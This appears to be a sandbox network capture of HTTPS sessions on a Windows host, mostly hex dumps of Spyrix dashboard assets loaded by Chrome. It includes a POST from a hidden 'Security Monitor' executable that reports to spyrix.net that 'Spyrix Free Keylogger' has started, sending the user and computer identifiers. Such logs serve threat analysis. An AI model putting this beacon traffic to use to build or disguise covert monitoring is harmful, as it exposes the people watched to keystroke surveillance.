LjBR6C@bhv~fU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49730	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	574	OUT	GET /dashboard30/assets/index-93c74fef.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:42 UTC	314	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:42 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-ef8c" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-02T02:14:04+00:00 X-Node: m9-up-gc80
2024-10-02 04:11:42 UTC	3782	IN	Data Raw: 33 39 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 7b 73 23 b9 91 e7 ff f7 29 b8 d3 e1 08 c9 a7 62 f3 fd 52 ec 86 e7 e1 59 af 6f ed f5 7b 6f ec 98 53 14 ab 8a 22 2d 8a d4 90 54 4b 3d 3a dd 67 bf 5f 26 32 f1 28 a0 48 aa a7 1d 77 17 71 d3 ee b6 54 85 4a 24 f2 8d 44 02 f8 45 b1 cc 77 fb ea d0 fa e2 cf 7f fa 36 9b 7c 71 fd 8b c5 76 73 c8 16 79 51 bd c8 4f f7 ab f5 c7 d9 6f 1f 37 ab c3 f6 7a bf 2b 66 8f bb f5 c5 f2 70 78 d8 cf de bf 2f ca 4d 1b 7f cb ed d3 66 bd cd cb f6 a6 3a bc 2f f3 fd 72 be cd 77 65 bf f3 3e df 03 f6 fe bd f9 3a fb 43 75 fb b8 ce 77 d9 b8 5f 16 79 3e ec b6 9f b6 8b 45 ef 92 a1 ae b7 45 be be f8 e2 77 db 87 87 d5 66 ff c5 e5 d5 67 ef a6 b5 d8 ee ee f3 c3 c5 17 d4 eb 17 97 d7 3c bc a7 6a 75 bb 3c cc fa 9d 4e 6b d8 e9 98 67 fb c3 c7 75 35 Data Ascii: 39b9}{s#)bRYo{oS"-TK=:g_&2(HwqTJ$DEw6\|qvsyQOo7z+fpx/Mf:/rwe>:Cuw_y>EEwfg<ju<Nkgu5
2024-10-02 04:11:42 UTC	4096	IN	Data Raw: 71 4f f3 2c fb bd c1 c8 36 c0 06 0f c4 3b 2b d4 7a 97 b2 dc 64 68 a9 f3 cd 4b 2d d5 62 24 d8 25 6a d9 5a 7b f0 9a bf 98 95 23 f3 8d a4 33 2e af d9 5a 97 48 45 23 25 4f 7b 9c b0 87 09 09 7f 14 c4 b5 68 75 8f 23 b2 2e f6 f8 4c a7 d8 e9 d3 c7 56 1f bf c8 b1 dd df bf e6 a6 32 3a 05 dc 4c 98 a2 2e 64 51 fc 5d de 9b ce 17 d5 eb b2 7b b5 ec 5d 2d fb 57 cb c1 d5 72 f8 82 75 ac 5b 84 d2 d8 fd 20 6b 66 1d b4 60 fe cd 3c c9 59 22 b4 f4 19 e4 bd f2 e2 0b 5d 95 ab 91 e9 75 d9 8b 01 22 d8 fc 64 80 ae 92 ce 96 25 ba 62 44 66 86 56 06 4a d9 ea eb b2 1f 63 80 29 ce 27 63 f0 ba 1c c4 00 31 21 3a 0e 50 63 ad 26 3a 99 50 ff 45 f2 85 54 74 e8 ed 24 33 a5 cb c5 e3 6e 8f 95 1c 29 0e 76 4c 43 35 a6 f0 11 8b ae 24 4e a6 d6 97 33 e0 02 90 e4 60 9d 3f 60 69 44 7f 90 95 53 69 5a 5e Data Ascii: qO,6;+zdhK-b$%jZ{#3.ZHE#%O{hu#.LV2:L.dQ]{]-Wru[ kf`<Y"]u"d%bDfVJc)'c1!:Pc&:PETt$3n)vLC5$N3`?`iDSiZ^
2024-10-02 04:11:42 UTC	4096	IN	Data Raw: 27 a8 f8 21 15 42 3b 6c 79 3d 4f bf 00 b3 ce 91 84 ed b3 69 0b 44 fa 7c 22 91 65 53 43 5f 0d 03 34 35 60 be 7e 28 25 15 e0 4c f3 4c 6d 79 d3 34 0c c6 32 c2 3d a0 49 df 89 d3 69 b0 69 8c 3d fe 7e 7a 5f ed 5a 82 cb 89 9f 07 3e 14 1f ef c2 54 be 28 d5 dc 9f 5a 7d 65 ce f0 55 00 72 6f a6 bd 46 b5 95 13 e3 37 a8 1e 8c b9 1a 50 86 4e 10 d6 64 97 24 d7 62 06 34 7b a7 17 9f 83 6a df 9d ff 21 e8 0d d6 da f3 ba dc ea 0c d9 8b 11 7b 63 84 3f ef d7 c2 22 2f e8 3b 17 78 5a 3a 22 91 90 00 77 80 b2 57 ba 6d d7 06 62 a7 7b 6c 96 91 a6 4e 8e 8a c8 bf 52 f5 47 76 86 9c 34 e2 79 5a 3e cc 3c a6 49 b6 3f 3f c5 da ab 4d b8 98 a7 c3 fb de 2e 9c b4 c7 8a 36 a7 cb 13 77 d2 d1 2a 0d 4e 88 c8 1b cd e3 bb 45 51 74 c7 28 a1 72 37 ef 06 ca 17 52 f6 a5 f3 b3 26 b3 6d 8f 3d bc 7c c5 46 Data Ascii: '!B;ly=OiD\|"eSC_45`~(%LLmy42=Iii=~z_Z>T(Z}eUroF7PNd$b4{j!{c?"/;xZ:"wWmb{lNRGv4yZ><I??M.6w*NEQt(r7R&m=\|F
2024-10-02 04:11:42 UTC	2811	IN	Data Raw: 52 64 24 61 1c cd 1e 2b 75 94 6b 4c ea 9e 1a d2 71 9f 18 8c e7 df 69 b9 35 48 01 99 8c b0 57 c9 40 6a 32 eb b6 ba a4 f6 d6 64 20 ae 20 d0 94 d0 3d 2c b3 60 c7 a2 1b 5e a0 6d be a9 56 a3 a2 fb 5a 94 78 67 00 ad 95 99 e6 87 c3 ee 82 73 8d 07 5c 08 bc 4e 69 54 4c 55 93 bb e6 62 0c 92 b9 ac cb f5 8f 56 b4 6a b3 1e 9d 01 b8 1c ac 9a 19 0a 48 89 6f b1 f5 f3 93 4a 1e b1 79 66 41 d9 43 8f bc 9c 1b e0 d9 1e 57 f7 d9 4d 60 4a 0b be 0d a3 44 ba 68 f3 18 49 a5 10 43 e9 6c ea 80 49 05 68 6b 9d 9b 1b 2f a6 9d c9 b4 37 3c 23 5d e2 6c a9 31 63 0d 70 ec c9 49 d2 de d3 0a 13 30 ba 6b f0 1c 36 ad 36 2e ce 33 d7 07 1c 40 6b 1d 8c 43 8e 5d b0 49 06 b0 1a c3 74 5c aa a9 ab f5 e0 63 57 cb 26 39 78 4a 16 0e cf 12 e2 17 ae e3 9d 03 d2 18 91 2b b6 b9 86 34 d2 79 3b b4 82 0e 07 67 Data Ascii: Rd$a+ukLqi5HW@j2d =,`^mVZxgs\NiTLUbVjHoJyfACWM`JDhIClIhk/7<#]l1cpI0k66.3@kC]It\cW&9xJ+4y;g
2024-10-02 04:11:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49731	158.69.117.119	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	531	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:43 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:43 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:43 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49732	158.69.117.119	443	4284	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 426 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:43 UTC	426	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 42 75 74 74 6f 6e 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 30 2e 35 30 34 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 Data Ascii: &action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:40.504&prg_lng=english&os_caption= ()&os_typ
2024-10-02 04:11:44 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49733	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:43 UTC	379	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	345	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T17:50:25+00:00 X-Node: m9-up-gc69
2024-10-02 04:11:44 UTC	3751	IN	Data Raw: 37 65 39 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 7e9bsFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 8d ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 e4 9f 9d 29 ab 8c 71 e0 dd 68 98 ef 9f 9d c1 94 f0 f8 81 b1 b3 9d b2 2a b9 bd c5 c0 99 ac 14 c9 b1 1e e5 e2 a2 39 4c ce 92 69 80 41 4f 2e aa a1 34 d0 b3 bb df da 2b af 1d f7 e8 36 Data Ascii: fcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS)qh*9LiAO.4+6
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 7a 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 48 7d 63 d1 54 38 5c cc b6 2a bb 58 1e db 41 3f 63 56 5d 38 08 bc c4 ea 65 8c 94 a8 fc c4 f9 d7 ed 95 0c b4 71 e1 a9 6e 70 57 4b 92 c4 60 62 c1 84 3e cd 13 c2 f8 8b eb 33 fa c2 64 Data Ascii: z3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"BH}cT8\*XA?cV]8eqnpWK`b>3d
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 09 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 64 a2 59 2d 09 0e d8 de da 38 13 16 d9 06 55 17 a6 df d5 d6 c6 c3 d6 1b cb 02 12 fe e1 79 80 60 0d 4c 31 67 37 eb 7c c6 95 3a d1 c4 55 c1 bc 04 b3 75 18 ac af 8f 61 ee f1 7b 81 0e Data Ascii: -S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7dY-8Uy`L1g7\|:Uua{
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 4b 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 1d 6f ca 76 27 6a c6 51 84 cd 99 d7 7c bc f4 63 cd 61 c3 85 d5 aa 4a 78 fa 0c 63 a3 24 79 d7 f6 a5 0e d2 ce c4 f9 2f 2d 03 32 9a 02 da 3e 16 dd 4b 7f ec d7 4b be 16 32 8f bf c3 ad Data Ascii: K=:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8oov'jQ\|caJxc$y/-2>KK2
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: c0 aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 04 17 ef f7 b1 c9 eb e2 d5 69 f2 dc 95 9c 12 66 6a 75 4e 93 1f dd c5 8c 30 06 95 5c 0c 92 3d bb 58 9e e2 d1 94 63 fa a5 a9 9c 2f bd 3a 5c e1 9d 8e a3 69 5b 70 6e 0a 7c f3 d7 3a 90 Data Ascii: ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8WifjuN0\=Xc/:\i[pn\|:
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 2e f6 a3 20 9b 15 40 dc b2 52 7c 4c 0e b7 b7 0f 09 96 4f 0e 39 2f 98 6f ff a3 43 e8 62 0e f8 e3 e2 a7 94 ee 72 24 fc 79 7d 91 a8 62 7c ee 54 3b 66 7b 1b c4 cd 1a 48 8e f9 e8 7c e2 dc 31 0d 4d 91 8c 00 48 f1 e4 36 5a 86 da 0d ef c8 05 45 7e b4 7e e8 c9 67 13 e6 05 16 ea b0 9e 11 e6 b5 d9 33 0f 5b af 15 60 e9 03 18 21 47 58 41 5e 2b 92 84 14 da 79 f2 da 8f e4 f0 f8 35 01 31 1f 6b 23 4f 34 b8 09 1b d9 bf 89 60 c3 5c ed 25 5f e2 46 75 e8 f8 16 c7 18 8f b2 43 d2 eb 1d ea 63 15 df 58 fc 9f 05 e4 d1 53 7f d2 3c a2 39 3e 77 73 6f 42 35 77 74 08 07 dc e8 76 b3 e6 e6 db db 5b b6 f1 e6 db 9d 95 3c 92 34 76 0e 4c 36 cf d1 a5 43 0e a2 76 17 41 84 02 d7 d4 be e5 7c 80 00 81 bd cc 0f 9c 61 64 1a 9a d6 c9 8f ce c6 c5 09 36 42 61 31 99 3d 17 30 e0 86 26 04 1c d5 46 9b f8 Data Ascii: . @R\|LO9/oCbr$y}b\|T;f{H\|1MH6ZE~~g3[`!GXA^+y51k#O4`\%_FuCcXS<9>wsoB5wtv[<4vL6CvA\|ad6Ba1=0&F
2024-10-02 04:11:44 UTC	4092	IN	Data Raw: 61 50 b7 91 e3 65 37 3d 68 8f e5 78 e4 1d 6f bd 65 1b a7 14 67 20 b1 cb a4 24 3f 23 94 ee 2d ee a8 de 19 d6 ff e7 c5 33 6d c6 89 29 ac ce 28 08 cc 0d 85 9b f8 52 c2 02 1c 6f bf c7 05 7c 7f bd 45 4f ef 9b 6f c9 19 e3 fa 57 1b bc f4 f5 a1 2f 4d 27 cc 00 c4 65 43 a0 cc 49 1a 2c 5b 6c a3 c6 09 23 de 0b e3 8c 4f fc 92 79 b0 cc 21 16 63 1d ff 84 dd ed 05 69 9a 9e f3 f7 45 eb ad ce 62 9c c6 3e a5 56 b6 9b f2 0a 5d 42 3e 94 75 7e 1f a7 80 8f be 23 47 08 07 79 7b f0 3c 30 54 f9 9e 69 c6 49 ca 00 71 bc be fb f9 f3 71 17 cf e2 45 f1 82 b0 54 8a 6e 1b 5f c2 e7 e2 1a cb 9b d6 dc 15 80 d5 75 d0 41 1c a3 a0 37 dd 8f 7b fb 2c 4d b2 be 4b 5b cf 90 32 f4 99 67 4e b0 7a 05 66 5c fb d2 6e 78 b0 5f bc b5 ef 5f bf c4 cf 19 2a 1c f8 dd 08 e4 57 d0 2d 52 7f b4 a0 34 e6 ae 19 f2 Data Ascii: aPe7=hxoeg $?#-3m)(Ro\|EOoW/M'eCI,[l#Oy!ciEb>V]B>u~#Gy{<0TiIqqETn_uA7{,MK[2gNzf\nx__*W-R4
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: 33 30 30 30 0d 0a f5 ae c2 82 59 f2 a1 67 27 c5 d4 20 0d 34 34 e2 a4 6a 67 c8 9f 08 8f c2 91 4a 59 22 c2 00 d0 26 6e e9 68 c5 98 5c 19 32 77 ab 8d 16 1d 6d 37 e9 e9 44 2c c1 21 32 39 c0 7f 55 6a 9a 99 28 94 0a 32 e0 58 66 2a 0a 82 d1 fa 30 a7 33 c1 66 a6 ce b1 76 8b f5 f0 4c cd 9d 71 0c c0 a9 84 77 81 7a 91 b0 4d 45 6c 65 1e 42 8b 33 c7 cd 8b a0 42 74 90 46 c0 6e cc de 86 0b be 6c 74 3e 4d fa 46 b0 ec bd d0 57 49 d1 9f 40 c0 fa d3 f2 01 09 35 ef 0c 49 a2 37 5b 74 c7 8b bb 0f aa cd 61 58 8e 64 35 4d a8 12 b9 d6 16 49 62 a2 84 51 78 4e 7d 83 a4 4e 5a c4 e9 42 5a e4 01 27 35 52 77 b6 98 2b 13 7c b3 b1 b1 c1 ae d9 7e c0 38 a8 b2 e4 a5 d1 77 7b 3b 4c 79 5c 76 6c f9 f1 0a 21 75 29 a5 ea 64 25 ab bf 42 aa 5b 9c be 16 ec 39 64 1d b9 b2 4f 96 52 cd 35 cd 81 6d 97 Data Ascii: 3000Yg' 44jgJY"&nh\2wm7D,!29Uj(2Xf*03fvLqwzMEleB3BtFnlt>MFWI@5I7[taXd5MIbQxN}NZBZ'5Rw+\|~8w{;Ly\vl!u)d%B[9dOR5m
2024-10-02 04:11:44 UTC	4096	IN	Data Raw: bc b9 34 15 fa 83 4c dc 32 9d fa a4 05 e6 df af 04 f3 38 af fc b8 07 7c 8b 77 88 f6 c2 cf d1 bc b4 c5 75 0c 5a c7 65 de 00 76 71 c9 c5 d2 f9 f3 60 81 db 9c 4c 0d 93 09 d5 42 c2 cd a9 0f 53 a2 49 61 dc 5a 6c 73 8c 59 0b 48 6f cb ff 70 62 c3 32 72 5a a3 2b df f6 9c 84 8c 0e b5 54 64 9c b5 14 8b 20 24 9b da 0a 03 61 fc 8e 10 9a e1 33 10 df a5 c1 21 4f 97 96 7a 15 d0 5e 87 3c 6a 46 99 0c c2 0c 77 c6 2e 32 4a 1a 6e 85 75 52 10 40 1c ad 8e f0 1d 73 84 32 f8 e5 30 db 1a 72 04 23 f3 ec f9 09 08 8a f0 c5 89 7c ef f8 bb 79 9e 43 4c 48 24 b4 40 3e 65 05 59 21 0a c4 d2 fb 62 dd 4f c6 2c ad a8 1f 8d 89 1d 87 ec ae 9f 04 38 7d 3b cd bc 09 e0 5a 2f e8 74 04 cf 71 43 ac 68 2f f8 07 1c cc b2 d7 ee 92 29 2c 70 16 d7 d7 aa b2 ba f4 d8 90 d6 8a b7 90 91 33 b9 9d 6f 26 79 1a Data Ascii: 4L28\|wuZevq`LBSIaZlsYHopb2rZ+Td $a3!Oz^<jFw.2JnuR@s20r#\|yCLH$@>eY!bO,8};Z/tqCh/),p3o&y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49736	158.69.117.119	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:44 UTC	350	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:44 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:44 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
